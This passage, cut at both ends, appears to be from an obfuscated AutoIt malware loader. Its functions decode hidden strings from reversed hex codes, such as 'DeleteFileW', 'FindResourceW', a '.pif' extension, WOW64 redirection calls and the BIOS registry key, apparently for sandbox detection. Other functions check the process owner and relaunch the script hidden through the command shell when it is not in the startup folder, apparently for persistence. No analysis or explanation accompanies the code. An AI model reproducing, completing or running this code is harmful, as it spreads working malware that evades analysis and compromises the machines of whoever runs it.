(STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) ] LOCAL $OUCHODPRBF FOR $FUMRXYZ_FLYZVWK = 0 TO 61 $OUCHODPRBF &= CHRW ($POEWQOASEEROZRANXHXP [$FUMRXYZ_FLYZVWK ] ) NEXT RETURN $OUCHODPRBF ENDFUNC FUNC DED_FKNPOUKDPFZWEHCL () LOCAL $RZMPDSSMO_CQVGPPTHKJ [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) ] LOCAL $DSOXMRBAOS FOR $GHHQFEZNAF_KSVN = 0 TO 61 $DSOXMRBAOS &= CHRW ($RZMPDSSMO_CQVGPPTHKJ [$GHHQFEZNAF_KSVN ] ) NEXT RETURN $DSOXMRBAOS ENDFUNC FUNC WLGSKSGMPIRUJRYPGBDM () LOCAL $WMGWSGPZWNAVSUXMEPJY [11 ] = [EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) ] LOCAL $JEK_DDHQCH FOR $OHQXEBSXYBTNMJZ = 0 TO 10 $JEK_DDHQCH &= CHRW ($WMGWSGPZWNAVSUXMEPJY [$OHQXEBSXYBTNMJZ ] ) NEXT RETURN $JEK_DDHQCH ENDFUNC FUNC EURHOPXSNL_VRJZTSPRS () LOCAL $DPTAGHXMXAOVTDQPYJCZ [13 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) ] LOCAL $PBQBGSKWNX FOR $IQAGJUHCUSNBJQW = 0 TO 12 $PBQBGSKWNX &= CHRW ($DPTAGHXMXAOVTDQPYJCZ [$IQAGJUHCUSNBJQW ] ) NEXT RETURN $PBQBGSKWNX ENDFUNC FUNC TRSIDVVNDABFVQJCHIUG () LOCAL $FOIOWOJWVLRLPJWLQJYM [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $FIEMPMZRSJ FOR $SFVLZDCSOSQJPUW = 0 TO 11 $FIEMPMZRSJ &= CHRW ($FOIOWOJWVLRLPJWLQJYM [$SFVLZDCSOSQJPUW ] ) NEXT RETURN $FIEMPMZRSJ ENDFUNC FUNC XQMVINIBMNUKCFLAUQKE () LOCAL $TBJVGSBGHGKWDJMXWVZW [62 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) ] LOCAL $WHQOPMCVFC FOR $NQLURUPFZ_PMKKC = 0 TO 61 $WHQOPMCVFC &= CHRW ($TBJVGSBGHGKWDJMXWVZW [$NQLURUPFZ_PMKKC ] ) NEXT RETURN $WHQOPMCVFC ENDFUNC FUNC IGLOKNLEJJOZJAOVVBNVZKXLV () LOCAL CONST $SEWJTFPPUNWRYF_GOWDMSMXHEGTKEF = 16 LOCAL CONST $VSJRIFHEWSAOSAOCGGLXYWWRGHOENMFLPSAZOORBGSHUSYEHQDND = 32 LOCAL $HXZVSKBRDRJMPYA_POSOKRGOCZIDGOK_BSIUBDWEQKDBYHC = "" LOCAL $DHAPVPIRRKTTCYKPHJLXQGYLTOY_NEQVXI_ZNVEMJRDRLCBS_OUOWFJXJPW = $FOWZCXPDAMMRLT_BDW_GCGOBSWSAAFZZ (NDZOQDTWEDPHMRUHHCMP () ) LOCAL $SQL = $DHAPVPIRRKTTCYKPHJLXQGYLTOY_NEQVXI_ZNVEMJRDRLCBS_OUOWFJXJPW.ExecQuery (ERZWPDRYZIEKZMNWFDCA () & @AUTOITPID & "" , SSPYEXNFIBJOBKNJACGY () , $SEWJTFPPUNWRYF_GOWDMSMXHEGTKEF + $VSJRIFHEWSAOSAOCGGLXYWWRGHOENMFLPSAZOORBGSHUSYEHQDND ) FOR $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML IN $SQL IF $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML.ProcessID = @AUTOITPID THEN $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLML.GetOwner ($HXZVSKBRDRJMPYA_POSOKRGOCZIDGOK_BSIUBDWEQKDBYHC ) EXITLOOP ENDIF NEXT IF $HXZVSKBRDRJMPYA_POSOKRGOCZIDGOK_BSIUBDWEQKDBYHC <> @USERNAME THEN EXIT ENDIF ENDFUNC FUNC GGJEYCEUTARAZACHXUGI () LOCAL $OFWYYKJFBWG_HJHLOXBF [4 ] = [EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) ] LOCAL $BKLGNTYTXV FOR $QPFERGJ_THFDZRU = 0 TO 3 $BKLGNTYTXV &= CHRW ($OFWYYKJFBWG_HJHLOXBF [$QPFERGJ_THFDZRU ] ) NEXT RETURN $BKLGNTYTXV ENDFUNC FUNC KTYCFPA_SBLYZATYVAHP () LOCAL $UTGU_ODFAOSVFASYKVXM [29 ] = [EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) ] LOCAL $RNDCQMWZDJ FOR $MPSPJIGURD_RAGC = 0 TO 28 $RNDCQMWZDJ &= CHRW ($UTGU_ODFAOSVFASYKVXM [$MPSPJIGURD_RAGC ] ) NEXT RETURN $RNDCQMWZDJ ENDFUNC FUNC ZMZGYFWEODOPQUVMBHNM () LOCAL $AHMVJIUUQEGQSAIOCGPR [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $SAEXPLCOKX FOR $AUCXYPXXCFEYNJT = 0 TO 4 $SAEXPLCOKX &= CHRW ($AHMVJIUUQEGQSAIOCGPR [$AUCXYPXXCFEYNJT ] ) NEXT RETURN $SAEXPLCOKX ENDFUNC FUNC AVAMHYDTKBZNTPPHDNJE () IF @SCRIPTDIR <> $STARTUPDIR THEN $XEEYNFJFOLPVCARRJIVDJVTNOMBZRNHSQUTNEOF (@COMSPEC , DHOUKXROQFKIPNCAYZQJ () & @AUTOITEXE & EYVXLCMNKBVJFDCAOREQ () , NULL , NULL , @SW_HIDE ) ENDIF ENDFUNC FUNC QRLUZMXKHOATXPTLSHCV () LOCAL $HWVNRCMXIATNCCJMQXPG [6 ] = [EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $TWZDW_ACGV FOR $TZHFWLLOUDUSOXB = 0 TO 5 $TWZDW_ACGV &= CHRW ($HWVNRCMXIATNCCJMQXPG [$TZHFWLLOUDUSOXB ] ) NEXT RETURN $TWZDW_ACGV ENDFUNC FUNC UESHWDAJIRLMDSIBSGXV () LOCAL $JEPROYZ_LWUGKIBGZCYF [51 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("95x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) ] LOCAL $QPATYEAXMX FOR $JLMELHQUKCLHDZP = 0 TO 50 $QPATYEAXMX &= CHRW ($JEPROYZ_LWUGKIBGZCYF [$JLMELHQUKCLHDZP ] ) NEXT RETURN $QPATYEAXMX ENDFUNC FUNC BQUUQQXGJBKOUPSMLZIF () LOCAL $RDYNYCCWMOEWINOMSZCG [5 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) ] LOCAL $XSHWNNBUVX FOR $AZDDNEKQX_HJWTA = 0 TO 4 $XSHWNNBUVX &= CHRW ($RDYNYCCWMOEWINOMSZCG [$AZDDNEKQX_HJWTA ] ) NEXT RETURN $XSHWNNBUVX ENDFUNC FUNC YNGXDQLQMQJMV_FUPZLZ () LOCAL $I_HGMZKOZEANDJPGMVIU [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $YG_KFFWRHQ FOR $YXJJZPRQCUPLOIQ = 0 TO 11 $YG_KFFWRHQ &= CHRW ($I_HGMZKOZEANDJPGMVIU [$YXJJZPRQCUPLOIQ ] ) NEXT RETURN $YG_KFFWRHQ ENDFUNC FUNC LCPFZKN_SUUIXVXRCFFQ () LOCAL $FNNRB_FJABHGAKZAQMUT [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $YQYEZEDZQM FOR $MWLAVXDZOWXCFK_ = 0 TO 4 $YQYEZEDZQM &= CHRW ($FNNRB_FJABHGAKZAQMUT [$MWLAVXDZOWXCFK_ ] ) NEXT RETURN $YQYEZEDZQM ENDFUNC FUNC LIZPPBDVYZYUVPLSJQBT () LOCAL $AGTQXTRQXGVELSH_HSBD [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $EPJRVKNYRD FOR $PEYFXOBALXHHXEW = 0 TO 2 $EPJRVKNYRD &= CHRW ($AGTQXTRQXGVELSH_HSBD [$PEYFXOBALXHHXEW ] ) NEXT RETURN $EPJRVKNYRD ENDFUNC FUNC QNJOQMICYKBIUBIUWEPP () LOCAL $ZVHQMLLQFBYPJRZDXMG_ [62 ] = [EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) ] LOCAL $VFTCFBSXXM FOR $BYMZUDAHGHPLFLI = 0 TO 61 $VFTCFBSXXM &= CHRW ($ZVHQMLLQFBYPJRZDXMG_ [$BYMZUDAHGHPLFLI ] ) NEXT RETURN $VFTCFBSXXM ENDFUNC FUNC HZQQXVLNEYLTIRYHQDFD () LOCAL $KFIGYFYRCPTJJBGMTAXB [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE 